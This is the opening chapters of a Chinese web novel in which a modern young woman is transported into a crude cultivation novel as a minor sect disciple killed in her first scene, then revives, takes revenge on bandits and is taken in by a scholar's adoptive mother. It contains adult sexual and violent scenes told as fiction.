《合欢宗女配是万人迷》
1. 第 1 章
青山野地雨初晴，水风清，晚霞明。一折山洞，演生死欢愉。
“嗯，冤家，别看我小师妹，一会才到她呢。呜呜，用力……啊……”
荇菜扶着发晕的脑袋，入眼是白花花一片肉，吓得初出茅庐的她赶紧五指盖眼，入耳的声音啪啪啧啧，慌得她紧张地吞咽下口水，又生出强烈的好奇心：什么鬼，现场直播？
“呃啊，小师妹等急了呢，咽口水了。嘻嘻……啊。”
运动中的男人回头扫眼害羞到发傻的荇菜，龇牙露笑，邪得能倒出三克油。
荇菜忍不住张开食指和中指偷看，正好被他的笑吓得脑里空空。石床上的场面极其羞耻，让人面红耳赤、心如擂鼓。
满屏槽口，却不知吐什么，二话不说背过身，脑里留一堆省略号：
……前一秒在干嘛？哦，实习生下班，回学校拿资料，路上遇见欺男抢女的事，心生江湖义气，捡砖去搭救美女。结果被人先一板砖砸进这处奇怪的山洞。
这就是穿越！？不是，当时我衡量过，对方三男，彼方一男两女，不至于出场被一血吧？呔。
荇菜诧异的当口，一行浮白镂空的漂亮文字惊现眼前，让她像炸毛小猫般小跳下。
剧情大神：男主朱琴天感觉神气外泄，心知上妖女的当。正当危机临身时，体内生出一股力量。这是纯阳之体的天生能力，吸走的精力瞬间被反吸回来。
荇菜从这些悬浮的字中穿过，脑海里电光火石，闪过一张小说封面：鞋拔脸的霸气绝世男主手牵黑色战甲神风驹，肩靠柔弱的白衣美人。背景是黑云压顶、隐露天光的浮空岛。书名更是黑底描金，龙飞凤舞的几个大字：《我当龙傲天得那些年》。
小弟本要分享给朋友却发错聊天界面的男频小说。
因一时好奇男频文内容，手贱点进去，闪瞎眼到脚扣地板的龙傲天种马文小说。
原书男主的名字就叫朱琴天，号称一/柱/擎天。现在是男主剧情第二幕——炼气现场？
原文第一幕，离家：废材流男主朱琴天被西塔国贵族小姐——西双儿退婚，同时被家族除名，双重打击下失意离家。
章末钩子：丧失自信的朱琴天路遇美人搭讪，心生欢喜，被美人领入山中洞窟。即，女主出场。
紧接着就是第二幕：炼气。
荇菜双脚扣底，慌乱：穿书？这破文就看前面几章，外加好奇这只战马，跳读两章！！！我拿什么剧本对现场剧情啊？
旧的剧情文字淡去，浮现新的文字：
金花察觉男主身体有异，非是毫无灵力，而是阳盛不溢，欣喜得了宝。
她翻身在上，尽情采撷身下的男子。朱琴天利用前所未知的能力，在紧要关头一举吸走合欢宗弟子金花的九成灵力，从废材进入炼气后期，害金花几近丧命。
荇菜点头：金花？没错，正是女主改名前的名字，为突现古早种马里女主要配得上男主的套路，合欢女子必须得洗白白，所以得先死后生。
金花是合欢宗花涟长老座下的大弟子。朱琴天走上酷拽王八大道的第一位后宫。金花攒五十年的灵力直接送给男主当启动资金，让男主一举从废材进入炼气后期，积累修真道上的第一桶灵力。
现在正是男主出场的第二幕：金花贪图失意男主的颜值，见色起意，骗人入山，反被采灵，开启她后宫一号的虐恋路
——
那么，我是……金莲？出场即死的合欢宗龙套小师妹金莲！
荇菜已经能扣出一座豪宅，挣扎两秒，侧头撇向石床。
白花花一片的交叠身影仿佛被奇怪的力量定格，男主朱琴天正仰躺着把持不动，面泛金光，像一颗散发奇怪热力的千瓦黄灯泡。
上方的金花双目露痴，像被什么东西控制，正尽情地起伏，面部却在快速地扭曲衰老。
荇菜被惊悚的现场扼住呼吸，心脏要罢工。
两人在进行要命的房事，如同电视里演绎的妖精吸人精神气的画面。
漂亮的镂空文字再次翻新：小师妹金莲拿起三尺青锋，为救师姐，毫不犹豫地杀过去。
“哎？”荇菜发出惊呼，低头看向手里正握住的三尺青钢长剑，身躯被莫名的力量牵引，持剑向朱琴天的脖子刺去。
朱琴天若有所感，侧头时双目比狼阴狠，一推金花后拔身而起，运转采补来的灵力脚踢射来的长剑。
荇菜哪见过赤身甩鸟的阵仗，手中的长剑被夺。
刹那功夫，生死之刻，还记得强扭身体避开要害，设想中本可以躲开被男主反踢飞来的长剑，却依旧被剑尖刺进单薄衣衫下的心口。
“你，”死。凉，痛死了，妈啊。
朱琴天狠辣地看向扭曲张脸的荇菜，阴戾道：“合欢妖女，人人当诛。”
说着，拔出荇菜胸口的长剑，走向奄奄一息的金花。
此刻的金花面容宛若老妇，虚弱地喘息，身软如泥。一张密布细纹的干皮脸，与先前如花似玉的模样相比，在短短时间老去三十多岁。
纯阳之体的威力好大。荇菜吃完最后一口瓜，已经面无人色。人往后倒，砸在石壁，顺势滑落在地，痛得喊不出声。
狗屁倒灶的剧情文字却再次更新：
此时，年若五十的金花苦苦哀求男主朱琴天，发誓此生再不采任何男人。
朱琴天可怜金花灵力尽失，面若老人，想及这是他的第一个女人。无毒不丈夫，却也不能狠至杀自己的女人。
心中一软扔下长剑，又生心思：荒郊野岭，不杀妖女，她必也难活，不用脏自己的手。
哼了声后，朱琴天潇洒离去。
他哪里知道，这一放过就是未来你追我遁、痴缠半生的爱恨纠葛。金花必将成为朱琴天后宫的瑶姬仙子，成就他无上大道的助力。
尼玛！荇菜盯这行字好一会都没等到有关女配金莲的下场说明。
滑动眼珠，颤着指尖，目送朱琴天丢下金花奔向洞外，宛如奔向新生。
相较之下，山洞里余下的师姐妹凄凉得像是秋天枝头摇曳的残叶，随时准备飘零。
荇菜：狗屁男主，无上大道？你给本姑娘等着，姑娘要你的成仙道途换今日的杀身剑。咱们不死不休。痛麻了……
金花摸把枯黄的脸，嘤嘤嘤地哭爬到荇菜面前。
探鼻息的手在半空顿了下，轻声啜泣着垂手：“师妹，师姐对不住你，没想到这次是个硬角色，可怜你还没开荤就去。
你放心，师姐一定会为你报仇。今日他吸走多少，来日我就全部吸回来。
呜呜，师妹，储物袋没用了吧？我记得师父给你一颗鸳鸯丹，据说灵力充盈，甚至可以改头换面，用来逃命。师姐命在垂危，借来一用。
我会拿你的储物袋给师父做个见证，告知他老人家，你已仙逝……嘤嘤嘤。”
荇菜的虚影飘出金莲的尸身，目瞪口呆地看着金花在丹药的作用下恢复年轻貌美，取一套男装扮成男子。
“魂在你头上飘，怨从你眼前过。嘤嘤怪师姐，我看着你呢！气死我了！”
金花只给荇菜留一身衣裙，拿走她其余的家当，包括三尺青锋剑。怀揣满满的复仇心思，蹒跚地离开山洞。
金钩描云，夕阳归隐山下。
晚风在洞外打旋，似在孕养山间鬼魅。
荇菜不明白，为什么自己的灵魂还在这具出场即死的龙套尸体旁？几次想飘离山洞都被尸体上的无形力量牵捆，像是成为此地的地缚灵。
“剧情大婶，我的剧情走完吧？走完你就不搭理我？我完成龙套任务得结算工资啊？
人家横店群演还管饭、发工资呢。
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>来个人啊，救救我啊。”
闲得无聊的荇菜蹲坐在金莲的尸身旁，除双眼空洞无神外，肤色、气态越看越不像死人。
金莲的五官生的标准无瑕，美艳不足、清秀有余，挺漂亮的江南美人，年纪不过十七八九，正当小美女年华。
“嗐，可惜，遇人不淑。狗币朱琴天，你给本姑娘等着。本姑娘至今不散，定有机缘。”
夜深前，几个大男人携裹个书生进入洞穴。
毛脸猴腮的男人举火把进洞，被金莲的尸体吓一跳：“娘啊，这是什么？”
荇菜：尸体啊，别踢我脚，猴脸！呼呼呼……吹阴风吓死你。喂……喂……别踢！
贼眉鼠脸的男人上前探在荇菜的尸体鼻前，皱张脸，紧跟句：“已经死了。”仔细地扫眼尸身面容，忽然道，“脸面齐全，模样鲜嫩，刚死不久。我们……要不尝尝？”
荇菜：我去，什么重口味，有病吧！这里的生态环境这么恶劣吗？别碰我的尸身，说不定我还要用！警告你！
獐头鼠目的男人嫌弃道：“天热，尸体很快会发臭，赶紧将她丢出去。咱们这有个眉清目秀的活书生，不比尸体香啊？”
荇菜：全不是好人啊！你才发臭。书生？确实眉清目秀。听这话音，你们的口味重过头吧？仙侠文的现生态好可怕。
荇菜的尸身被两男抬着扔出洞外。
她随尸体飘出去，碎碎念：这都什么人渣，丢出去也好，眼不见为净。这种世界怎么玩得开？我为书生念一遍阿弥陀佛。哎呀，急死人。
书生一言不发，等人把荇菜的尸体扔出洞外，小心翼翼地朝三人道：“几位大哥，荒郊野岭，我真跑不了，上外面解个手。”
毛脸嘻了声：“我们不怕你逃，只怕你不逃。你不逃才不好玩。长夜漫漫，多点乐趣。后背的箧囊留下，去吧。”
鼠脸嘎嘎窃笑：“你说他会不会去找刚才的女尸，女尸真像活得一样，嘿嘿。”
獐头撇脸：“你想知道？出去盯着书生啊。哟，这箧囊里果然有银子。我先放着，回头玩够人，咱们再取银子，哈哈哈……”
山洞外，荇菜的尸体暴露在月下，魂前再次浮现一行字：
完成拯救任务，开始结算：女配金莲成功救下女主瑶姬仙子。奖励结算方式：滚动式发放奖励。
奖励结算：《玉石还阳功》。
功法第一篇第一章：以月华固魂定魄，转阳生机，谓之：还阳。
“还阳？”荇菜轻呼口气，顿感胸口微热，双目如炬。
猛地坐起身，转向一旁专注刨坑的男人：“书生？”
书生以为幻听，顿了下，随之若有所感地侧头望去。银黑的夜下，望进一双幽黑反光的神秘眼睛。明明是月下银天，风月相宜，本已死去的女人却像是会发光般耀眼夺目，不知是月色映人，还是她就是月色。
荇菜朝发痴的书生露出森森白牙，绽放阴间笑容：“书生，看什么呢？”
书生僵硬，“诈尸”两个字被卡在喉咙，刨坑的石头一下子掉地上。
人生二十载，从来没有比这一刻更手足无措。
“哪里来的姑娘，书生艳福啊。”
“荒山野岭，一人独享不如众乐。书生，你说对吧？”
“快围起来，这个女人要跑。”
三个男人出洞见美人，心痒难耐，直接把跳起要逃的荇菜拦下，嘻嘻哈哈得把她围起来。
书生惊慌失措，失声喊：“她是刚才的女尸。”
下半身当脑袋的三男早已不记得什么女尸。他们只觉得此刻的女人散发出无形的诱惑力量，香艳得让人垂涎欲滴。
无人可以抵挡玉石散发出的柔美，银月披身的华丽纱衣。
魅惑入眼，欲从心生。毫不犹豫地向荇菜扑去，如饿虎扑食。
2. 第 2 章
“你们真以为我好欺负。”荇菜的双眸泛银蓝的月华，一股从心而生的怒火灼燃全身血液，热血上脑，《玉石还阳功》的功法在经脉内启动。
神智被功法剥夺，毫无意识地掐住扑来的男人脖子，无师自通地锁住喉骨，用力一拧，指尖的油腻手感顿时变得绵软。
喉骨断裂的清脆“咔哒”声在夜间的山林异常清晰。
失神的荇菜松开手，男子软倒在地。
于寂静中，她如鬼魅修罗般回首望向被定住的另外几人。
冷风拂过后颈，男人们感到通体发凉，也终于有反应：
“鬼，鬼啊……”
“妖女，跑，快跑……”
“想跑，哪这么容易？”荇菜提起双脚，身如青烟，飘至逃走的男人面前，两手如勾魂爪，再次锁喉断骨，一气呵成。
三个猥琐男人在片刻间死去，喧嚣的林间眨眼恢复寂静。
夜风清徐，盘旋而不响。
书生咽口吐沫，拔腿要动，被飘回来的荇菜拦住去路，一时惊的语无伦次：“女，女仙，我和他们不是一伙。今晨出门前占得一‘泰卦’，阴上阳下，我善待遇上的女子，也会被女子相救。我想帮你入土为安……”
“阴上阳下”四字触发《玉石还阳功》的第二篇第一章：合合。阴阳相合，纳阳补阴。
夺天之阴华，地生之阳力，铸无上仙功法体。
夜风扶起荇菜的长发，脑海里如电影放片一样闪过这具身体的前半段人生，最终定格在新鲜入脑的《玉石还阳功》第二篇第一章，功法运转，双目在月下如晶莹剔透的玉石，发出润泽的幽光。
荇菜的神智被功法第二篇控制着发出自己都不会承认的妖魅惑声：
“书生，过来。”
书生瞧入绚烂的双眸，仿佛被如梦似幻的声音下言灵咒，被伸来的手牵引着走向洞口外的草坪。
衣衫零落一地，男子的阳力与月华的阴力盘旋在荇菜的身体经络，被《玉石还阳功法》第二篇铸就冰肌玉骨，修复心脏和胸前的剑伤。
沉浸在功法妙处里的荇菜仿佛一只夜间的曲颈天鹅，亢奋的俯视书生，完全在凭本能做事。
书生的右鬓眉尾生一道红色旋印，在极尽欢愉的沉醉中绽射微芒，浅浮一道金红交错的法印。
书生的意识脱离身体，还在浮动：明明是泰挂，阴阳合合有生路，怎么就要死呢？若非江郎害我，此生或能得成儒道，可惜了。
在幻生欲死中残留的神智记挂此生目标，瞠张的双目紧盯荇菜修长如玉的长颈，点润月华光辉的美妙下颌，被月光映照如雪山顶端的挺翘花蕊。
神识消散前，脑海里浮出一道意念：魔女出世，天下不宁，速杀。
俯首吻来的妖女柔软的唇瓣让书生的神智微晃，入喉的舌尖温软，犹如纠缠世间的情丝，扰乱他消散前的思绪。
十字讯言瞬变：清心玉映，醉梦神霄，道机……啊。
蕴含灵光讯息的金红法印微缩至肉眼难见，如月华般流向远方的丛山峻岭，消失在夜幕云海。
荇菜不明所以地扑在地上，混沌的神智让她下意识伸手，拽把浮游而去的灵光。
糊里糊涂地摊开手掌，空空如也。
“不、见、了？”
轻哼了声，荇菜在草地上昏睡过去。
月光抚慰她的身体，如覆荧荧妙纱。
翌日，荇菜被暖暖的阳光唤醒，山野鸟鸣讴歌，像是暑假时在姥姥家里睡到自然醒般舒服。
从草地上起身，抚在不着寸缕的手臂，慌里慌张地拾起衣裙，手忙脚乱地穿戴整齐。
衣能遮羞。
缓过神后的荇菜拾起散落地上的青袍、内衫、薄缎长裤，恍惚中如梦似幻的欢爱场面在脑海里如潮覆起。
面色绯红，心跳至喉口。她一把丢下青衫，靠在石壁下不可置信地喃喃：“不可能。我怎么会主动做那种事？那……人呢？衣服在，人呢？”
低首按在心口，抹把前襟衣衫，除点血迹外毫无伤口，甚至手按处饱满柔软，简直是昔日会流口水得那种妙哉。
冷静下来重整心情，荇菜想起那套奇怪的功法：“什么《玉石还阳功》。剧情大婶，我不要这种结算，我要回家！”
奈何荇菜怎么折腾，剧情文字再没有浮现，像是龙套已经完成演绎任务，结算后不必在剧情中出现。
抱膝蹲坐会的荇菜想起男主朱琴天得那一剑，临死的恐惧让她咬牙切齿：“该死的剧情，你等着，男主有机缘、后宫是吧？
我通通都给你抢过来，咱们不死不休。”
荇菜遍寻不见书生，心生不安，想这样走掉。又想起师姐金花雁过拔毛的作风，拾起青衫布衣，塞进书生的竹编箧囊，在箧囊的小抽屉里找到一包银子。
“这书生怎么有这么多银子，不会是被人谋财害命……财在我手上……”
甩甩脑袋，背上箧囊。
走不多久，路遇三具死状相似的男子尸体。昨夜浑噩的杀人画面再次纷至上脑。
“修真界的生态圈这么恶劣，这些人死有余辜。”荇菜喃喃自语，又摊开手掌，这双好看到发光的手瞬杀三人，一时又有些难以接受。
敲脑子，一边是土著金莲的生杀自由的世界观，一边是道德法制教育出来的人生价值观。
“行了行了，不要想。有个词：入乡随俗……阿弥陀佛，快走快走。”
荒山野岭，尸体三具，荇菜逃也似向山下飞奔。
逃离山中得一切后，她抚心口，咽口吐沫，喉口因急喘而生胀痛：书生到底死了还是跑掉？衣服在，不能裸/\跑吧？
*
“姑娘，你没事吧？”
荇菜愕然地看向进入眼底的熟悉鞋袜，对上书生挂两黑眼圈的脸：“妈呀，你是人是鬼？”
“姑娘？”书生看向逃离的女子，面露不解，“项兄的箧囊怎么会在你这啊，姑娘？”
荇菜跑至黄泥大道，扶把背后歪斜的箧囊，喃喃道：“不对啊，若是昨晚那个书生，怎么我背上的竹箱子还在？两人长得……穿得也太像吧？古代的人穿着大同小异啊。”
环顾不过一米多宽的泥道，荇菜寻一块路边的石头坐下，静静地思考一天一夜里发生的事。
回忆中，荇菜不免交叠双腿，除书生挖坑时的脸面印象，剩下得全是朦朦胧胧中的诱人喘息及右角眉尾的红色旋印。
“姑娘，在呢？”书生近前，眉目舒朗，笑着说，“你是不是见到过项檀兄，他的箧囊在你的背上。”
这人的眉角没有红印，应该不是昨晚的书生。
荇菜假装淡定地起身，放下箧囊：“那个……他在山里遇到歹人。”
书生的面上出现紧张，急切问：“姑娘，项兄怎么样，是不是被那三个恶贼杀害？”
“哎，你怎么知道？”还知道是三个！？
荇菜当即反问，耳边是雷鸣般的心跳声，察觉这件事有阴谋。
“姑娘大义，捡回项兄遗物。若姑娘不惧江郎，江郎愿意带姑娘回城安顿。”江郎温润有礼道。若将此女制服，再卖去花楼，又能得一笔不菲
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的钱财，可上赌桌翻盘。
荇菜刚要答应，生出些奇怪：我没说书生遇害啊？怎么这人已经笃定书生遇害？看起来伤心，却不像真伤心。
思定后道：“你好像料到他会死？既然你知道有三个歹人，怎么不连夜喊人救他？”
江郎微垂目光，掩去眸中的阴鸷，露出为难的神情。
“项兄被恶人所害，我已是伤心不已。项兄家里有一养母，孤老无依。无论如何我都要把消息带回去。往后余生，我要照顾好他的母亲。”
“！”荇菜瞬间不是滋味：那人的家里有老母亲，还是单亲养母？你就跑话题编吧！
昨夜荒诞，书生到底是生是死？荇菜想到这，也慌得不想多谈。
只记得极致的舒爽后累睡过去。功法修复身体上的伤口，再醒来已经天亮。书生消失不见，徒留一地衣衫和一只箧囊。
数次回想昨夜，荇菜只有浑浑噩噩做着那从未有过的事以及书生眉尾发光的朦胧红旋的画面。
一捧灵光。书生变光不见了？
“怎么可能？别想了。”荇菜羞恼地喊出口，惹得江郎诧异地望来。
答非所问，这人肯定有问题。荇菜压下羞意，思考着处理眼前的事：“你带我去他家。我把这只书箱子亲自还给他的母亲。”
“嗯。好，姑娘是项兄遇害的见证者，理应一同回镇。”江郎向荇菜伸手，吓得她往后退，“姑娘别怕，箧囊过重，我来帮姑娘背吧？”
“不重。我背就行。”荇菜抿唇，率先向前走。
“姑娘，走反了。”江郎扯出笑容。
荇菜尴尬地点头，调转方向，默念：我不尴尬，尴尬得就是别人。
“敢问姑娘芳名、家住哪里？”江郎边走边问，“小生江郎，青衍镇人士。”
“荇菜。”荇菜想也不想就报自家的名字，又默念：金莲，不管是你的仇还是我的仇，一定一起讨回来。你被金花哄骗下山，定也不甘吧。
“参差荇菜，左右流之。窈窕淑女，寤寐求之。姑娘名字出自于诗经《关雎》，人如其名，貌胜淑女。”江郎吟道。
荇菜知道这张脸究竟长什么模样。淑女是一类人，不是拿来比的。
尬扯笑容：“嗯。取名字嘛，男诗经、女楚辞，我爹妈爱反着来。所以，我也天生反骨。”
“姑娘的娘亲好才学，姑娘可是青衍镇人士？小生从未见过你。”
荇菜停步，沉目望他：“你在探我的消息。不如，你先说说自己。”
江郎似已掌握主动权，笑说：“我……”
“你这人真奇怪。”荇菜看不得他一副得意的嘴脸，拿话刺他，“项兄项兄的喊，兄‘死’在山上，不说上山寻人，非要陪我进城。一路上问东问西，不会是想把我骗回青衍镇，再报官，污蔑我杀人吧？”
眼看江郎变脸，荇菜的心中萦烧怒火，眸光凝定泛紫，幽幽问，“你恨你的项兄？”
江郎明知此句有问题，却溺进这双幽晦紫眸，无法控制地脱口而出：“他不愿借钱给我，我恨他。”
“哈？”荇菜不自觉地收缩目光，眸里的紫色淡退。
江郎回过神，见事败露，猛地扑向荇菜，欲夺取她背后的箧囊。
话已至此，无需再多做伪装。
江郎上手抢荇菜背后的箧囊，想要拿走项檀的银子。
荇菜一时没防住他动手，被抓住箧囊的肩带，大喊：“你干什么？抢劫啊，来人啊……”
荒山大道，不是人流繁多的郊外，别说人影，连鸟影都不曾掠过。
3. 第 3 章
“闭嘴，把它给我。”江郎提脚踹向荇菜，被躲过后嘶吼，“那三人说好今早在山下分银，结果你背着他的箧囊下山，你害死项檀。”
“你有病吧？不能是我捡来的呀。若真有恶徒，早抢他的银子跑掉，谁等你来分赃？”
江郎闻言愣顿。
荇菜趁机提脚反踹他的后腰穴，直将人踹地扑倒在地。
这脚提起的高度连荇菜自己都震惊。
她重振面色，一步步走向翻身望来的江郎，戾气盈心，面上扬魅凝煞：“你果然是想要抢书箱子里得那包银子。你见财起意，同人谋财害命，你才是真凶。”
“不……不是，我不是。”江郎的神智一清，一窜而起，快速向前逃走。
他都没意识到荇菜那话翻译过来是“银子还在”。
“还说不是？你站住。”荇菜追出两步又停下，为难道：“不行，若我跟上去，被他个土著污蔑成杀人犯怎么办？这书生都不见了，上哪里找人证明我的青白。人生地不熟，若我辩不过他，难道再被人害死一次？
不如反其道，朝另一个方向走。”
荇菜下决心走出两步又掉头：“书生有个老母亲。若是真事，岂不是一直在等儿子回家。荇菜，你想想自己，现在回不去，爸妈一定伤心坏了。
昨夜的书生还想安葬自己的尸体！若是江郎回去同书生的老母亲胡乱编排，老人家被坏人骗走家当怎么办？这里的生态环境恶劣，死一个老人，兴许都不会被人在意。
又或许……书生真裸/跑回家呢？”
“啊……疯了。”
荇菜疯狂地来回走动几下，咬牙向江郎的方向追去。
青衍镇落座在天生大陆欧丝国的边陲，既不山青也不水秀，一无富饶物产，二无杰出人才，有得是辛辛苦苦的求生百姓。
因为没有物产资源，当地大多数人选择外出做生意，被外人囫囵句：穷山恶水出刁商。
项檀是这个镇子上的例外。
人善心美，博学多才，唯一的缺点是儿时家贫。
穷是生活的原罪。养母的丈夫、孩子先后无药病逝，徒留养母一人。缘分到了，周老夫人就收养项檀。
项檀能干，凡涉文类，无一不精。十五岁通过乡试，外城豪绅都知道他的名字，赞他有可能是欧丝国最年轻的状元郎。然而，项檀激流勇退，没有去参加会试。
十八岁前抄书赚银维持生活家用，十九岁开始写本送往外地刊印，二十岁帮镇上的白夫子开出第一家青衍书局。人人都赞项檀知恩图报。
项檀家的生活肉眼可见变好，钱财不露白也被有心人惦记。
黄昏归家，他听江郎说外头有治疗心疾的游医，想起养母的病，一朝不慎被骗出城镇。
江郎一路狂奔回青衍镇，见人就嚷嚷：“项檀被妖女害了，被妖女和恶人杀了。项檀被人害了……”
路人闻言奔走相告，传言很快送进项檀家。
项檀的养母周老夫人双鬓发白，却梳得一丝不苟，颇有几分气质。
她不信传话的青年，杵着结实的梓木拐杖上街，边走边嚷：“儿啊，我的儿啊……”
小丫鬟蕙永一路跌跌拌拌地追她，生怕老夫人跌倒。
青衍书局的白夫子听到消息，搁下手头的活，疾步出门。
他撞见周老夫人后赶紧拦下：“老夫人别急，我已经差人去找他。”
周老夫人抓住白夫子的衣袖，未语泪先流：“白先生，昨夜我睡得早，今早起来不见他，以为他还在书局校稿呢。拜托你一定要找他回来啊。”
“昨日黄昏人就回去，没归家？”白夫子再问。
周老夫人和蕙永齐齐点头。
“定是……”白夫子想到江郎这混账，又改口宽慰两人，“我一定找到他。老夫人，先扶您进书局暂坐，咱们坐着等消息。
江郎蹲见周老夫人离家，趁机摸进宅子。翻箱倒柜，到处找银子。
项檀房里的书被巴拉落地，弄得零散不堪。周老夫人的房间也被翻个遍，寻摸出近五十两银子，踹进兜，从后门离去。
邻家妇人看到他的影子，赶紧去寻周老夫人，告知她此事。
“老夫人啊，你家遭贼了，赶紧回家看看吧。那江郎……我见他捂着腰兜跑去镇口，怕是偷了东西，又去赌坊。”
“啊？”周老夫人发蒙，打发蕙永回家，“白先生，蕙永一个孩子……”
白夫子忙摆手，安排店里剩下的员工，一人去找江郎，一人陪蕙永回家。
“江郎往日好赌，手里常存不住钱。项檀念在同窗情借过他几次，近来江郎又来找项檀。昨日，项檀离开时，我给他本月售卖话本的分成，恐是被江郎惦记，遭了事。项檀心善，不该理这人。老夫人，你放心，我一定把项檀找回来。”
荇菜与一伙急匆匆出镇的人擦肩而过，耳闻他们找项檀，正是那失踪的书生。
她心下微慌，恐怕没人会信项檀是凭空消失而不是遇害。
“哎，这人没回家，怎么就不见呢……睡个觉能失踪，我杀的？”荇菜焦头烂额，“我的清白……再说，我没杀他。啊……”
“姑娘，你在我家门前嘀嘀咕咕什么呢？哎，你背上不是项檀的箧囊吗？你知道他在哪？来人啊来人啊……”
荇菜被吓一跳，听这大嘴巴的婶子吧唧吧唧喊人，赶紧落跑。
婶子岂能放过她，虎扑过去抓住箧囊：“来人啊。你不准走。”
“放手啊。我……我……项檀做仙人去了，这是他托我转交给他母亲的东西。”荇菜机灵喊。
【对对对，人是不见又不是死了，男女主都能修仙，书生就不能去做仙人啊？】
婶子家里的人闻言出来，听这话后七嘴八舌的讨论。
“项檀修仙去了？”
“有可能啊，他那么有灵气一人。咱们青衍镇百八十年也出不了个才子。”
“仙人脾气古怪，抓着人就走，这事说不准。小姑娘怪好看……嗯，兴许真是帮项檀托东西。”
荇菜趁机要溜，又被婶子眼疾手快地抓了，委屈道：“婶子，我还得去送东西呢。”
“姑娘，别怕。我不会害你，你同我去趟青衍书局，白先
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生是项檀的夫子，周老夫人也在那，正好分说清楚。”
容不得荇菜辩解，被这家热心人连拉带推地送入青衍书局。
周老夫人收养项檀时已不年轻，杵拐杖走路的人这会利索地抱住荇菜放下的箧囊，翻出项檀的衣物，急切问：“姑娘，我家项檀，他真……真修仙去了？”
“啊。”荇菜试图镇定地点头，环顾数不清的围观人，在他们的虎视眈眈下咽口吐沫，“有三个恶人要害他，本活不成，天降仙人杀死三个恶人，又把他带走。仙人给他一套金光闪闪的法衣，说是：尘缘尽断，方能得道。后来，他托我把这些东西转交给您，就被仙人带走了……”
荇菜都要佩服自己。这些人听得一愣一愣，她又说：“老夫人，您看啊，箧囊里的……都在，你手里的衣袜也算干净，没有沾什么脏东西。若是人遇害，不可能一点血污都没有吧？”
周老夫人没有怀疑荇菜的话，闻言抱着箧囊和衣物泣不成声。
旁人交头接耳，开始论及此事。
“项檀是周老夫人年过四十捡回来的孩子。如今啊，算是还回去。”
“周老夫人早年丧夫丧子，后来有项檀才活下去。若是项檀就这样一声不响地离开，周老夫人怎么活？”
“可怜啊。仙人们哪会同凡人讲道理。”
……
白夫子一身青衫，抚须问：“姑娘是在何地见到仙人，为何没同仙人离开？项檀为人孝善，不会一字不留就离去。”
荇菜听周遭的议论已经是认下项檀去修仙的说法，扫眼难搞的白先生、可怜的周老夫人，眨眼说：“在镇外两里的青山上，我……没有灵根，没机会跟仙人离开。他……没来得及说，衣服也不是他自己要换，仙人一挥手就给换上。他在半空，托我把竹箱子送回来。他和仙人眨眼就不见了。”
【说多错多，就这样吧。】
“姑娘又是哪里人？”
“我……我……哇……呜呜呜……”荇菜掐把袖衫内臂，痛得挤出两滴眼泪，“呜呜，我是……”
金莲出山的第一站就是合欢宗下的玉华镇，距离此地近百里路。若无必要，古代人不可能去这么远的地方核对消息。即使真找人去核对身份，一来一回都要十来天。
“我是玉华镇人，一时贪玩离家，迷了路，走反了道，被恶人撸了过来。”
这句惊起无数的声音。
男人们的目光纷纷落在荇菜的身姿腰段，眼里流露各种奇怪的情绪。
“玉华镇在哪里？”
“听那些做生意的人说在合欢宗下面吧，距离我们青衍镇挺远。”
“这姑娘吃苦了，胸前的衣服破个洞，沾着血呢。”
“遭大罪了。”
……
白夫子闻言一惊，一时不好再问下去。不过，若此时不帮小姑娘澄清，恐怕众口铄金，日后她不能出来见人。
“姑娘莫哭。既是仙人杀死三位恶人，姑娘可有……受伤？”
带荇菜过来的婶子焦急接话：“姑娘，别哭，你的身前怎么有血？有没有被他们……那个呀？”
4. 第 4 章
“什么呀？呜呜呜……恶人要杀我，没刺深就被仙人杀害。仙人及时救下我和书生，又把我的伤口治好。”荇菜觉出累，一个谎话要无数个谎言来圆。
穿书前，一辈子说的谎话都没有今日多。出门在外，身份全靠自己编，一时悲从心起。
来此不到两天，前后死两次。真是酸涩难当，眼泪滚得越发真诚。
周老夫人拂开白夫子，走到荇菜的面前：“姑娘，别哭。你遭此番罪，若你爹娘担心流言不要你，老婆子要你。”
满是褶皱的手握住荇菜光滑的手腕，轻轻地拍在她的手背，朝议论纷纷的人群大声道，“我家檀儿在儿时被合欢宗的仙人检测过，纯水体质，可以修道。
那时候他小，怕离家太远，怕我病时无人照料，跳荷花池都不去修仙。如今，算是圆了当年的事。这位姑娘一瞧就是好人家的孩子，身板挺正，没问题的。白先生啊……”
周老夫人提起当年的事，围观的乡里都记起这事。项檀有修仙根底，只是舍不得周老夫人，宁死不去修仙。
“老夫人。”白夫子赶紧上前，“您说。”
“按姑娘说的地方，麻烦你派人去寻。若真有恶人的尸体，报官了结。姑娘和箧囊，我先带回去。”周老夫人见白夫子应下，示意荇菜背上箧囊，带上她，杵拐杖离去。
人群让开道，目送一老一少离开。
经此一茬，大家议论纷纷：
“老天把送来的项檀要走了，又给周老夫人送来个水灵灵的姑娘。好人不孤啊。”
“谁说不是。当年几镇连选有仙缘的孩子，项檀确实有仙缘，但他宁可跳荷花池，都不肯去修仙。”
“竟然发生过这样的事，仙人这么好说话？”
“哪里好说话啦，他们直接发火抢人。咱们欧丝国是合欢宗和国主联手治理天下。乡长能干，搬出当日观礼的时征王。王爷震住检测仙缘的修士。若项檀去修仙，能给镇子什么好处？项檀当状元，咱们青衍镇才有面儿，惠及乡邻。乡长当然是站在项檀那边。”
“项檀也没去考状元啊？傻子才不选修仙选考状元吧？”
“这得说到周老夫人的心疾。修仙是好，小命别裤腰带。你听说谁白日飞升？状元郎，一生富贵尊荣，有钱给家人治病，怎么不好？”
白夫子站出来道：“人各有志。咱们啊只能看到咱们能看到的东西。多谢诸位关心项檀，大家散了吧。”
人群闻言散去。
周老夫人担心荇菜留在书局被人指指点点，决意带她回家。
蕙永在家里收拾残局，气愤地告状：“老夫人，家里一团乱。藏银子的地方被人翻过，瞧着是丢了钱。白先生的人说会帮我们把钱要回来，去赌坊抓那赌鬼江郎。”
周老夫人颔首，与荇菜清澈水灵的眼睛相撞。老夫人一生与人为善，也是这样教项檀。
她愿意相信荇菜说的话，却忍不住叹息：“姑娘，怎么称呼？”
“荇菜，一种可以做饼子吃的野菜。”荇菜抿唇，其实这个名字寄予父母的期待。
“荇姑娘暂时把这当家吧。”周老夫人说完进屋。拐杖敲击在青石地面，发出咚咚声。苍老无力的声音从堂内传来：“钱丢了没事，人在，平安就好。”
蕙永好奇地瞧向荇菜，匆忙点头后追上老夫人，继续收拾屋子。
荇菜有些不知所措，本是转交箧囊和囊里的银子后就走，但是，多少有些被周老夫人的言行影响。
老夫人只有一个丫鬟，若是就这样离开，良心过不去。
心酸的荇菜伸手，反复翻看手掌手背：“昨晚像是被鬼控制，有印象，没自控力，怎么就敢那样呢？”
